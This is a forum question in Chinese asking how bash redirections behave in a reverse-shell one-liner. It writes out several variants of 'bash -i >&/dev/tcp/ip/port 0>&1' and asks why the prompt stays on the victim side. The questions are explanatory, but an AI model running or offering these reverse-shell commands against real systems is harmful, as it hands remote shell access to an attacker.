我今天试图尽可能多地理解一个命令（在此处找到）在受害者端打开一个反向 shell。就这个：
bash -i >&/dev/tcp/ip/port 0>&1
但是，我没有完全明白为什么第一个重定向是>&. 我知道这/dev/tcp/ip/port是由 bash 创建的“伪”文件，但是如果必须将其视为真实文件或文件描述符，我没有找到信息。因此，我尝试将其视为真实文件，并像这样重写 bash 命令：
bash -i >/dev/tcp/ip/port 0>&1
在这种情况下，会发生一种奇怪的行为：反向 shell 正在按预期工作（我可以在攻击者端键入一些命令，也可以在攻击者端获取输出），除了一个输出：bash 命令提示符文本。所以唯一没有打印在攻击者端而是在受害者端的是：
bash-4.4$
其他所有内容都按预期打印，即在攻击者方面。
我尝试的最后一个测试是像这样更改 bash 命令：
bash -i >/dev/tcp/ip/port <&1
事实上，在阅读了 bash 的手册页之后，使用重定向对我来说更有意义<，正如手册页中所述，这会打开文件描述符1以读取文件描述符0。在这里，出现了与第二个命令相同的问题（除了 bash 命令提示符之外的所有内容都打印在攻击者身上bash-4.4$）。
我还注意到重定向 stderr 如下：
bash -i >/dev/tcp/ip/port 2>&2 <&1
解决了问题，好像bash-4.4$打印在stderr上...
因此，我有四个问题找不到答案：
- 应该
/dev/tcp并且/dev/udp被视为文件还是直接作为文件描述符？这相当于问：我们应该写echo "hello" >/dev/tcp/ip/port还是echo "hello" >&/dev/tcp/ip/port？ - 为什么作者习惯于
0>&1更改 stdin 而不是<&1，它怎么可能在命令的第一个版本中工作？ - 为什么第二个和第三个命令会发生这种奇怪的行为？怎么可能只有部分输出被重定向？在我看来，它应该重定向所有内容或什么都不重定向。
- 为什么在最后一个命令中重定向 stderr 可以解决问题？这不是在第一个命令（作者的原始命令）上完成的，但它仍然有效..
非常感谢您的回答！我希望我尽可能清楚地说明这篇文章。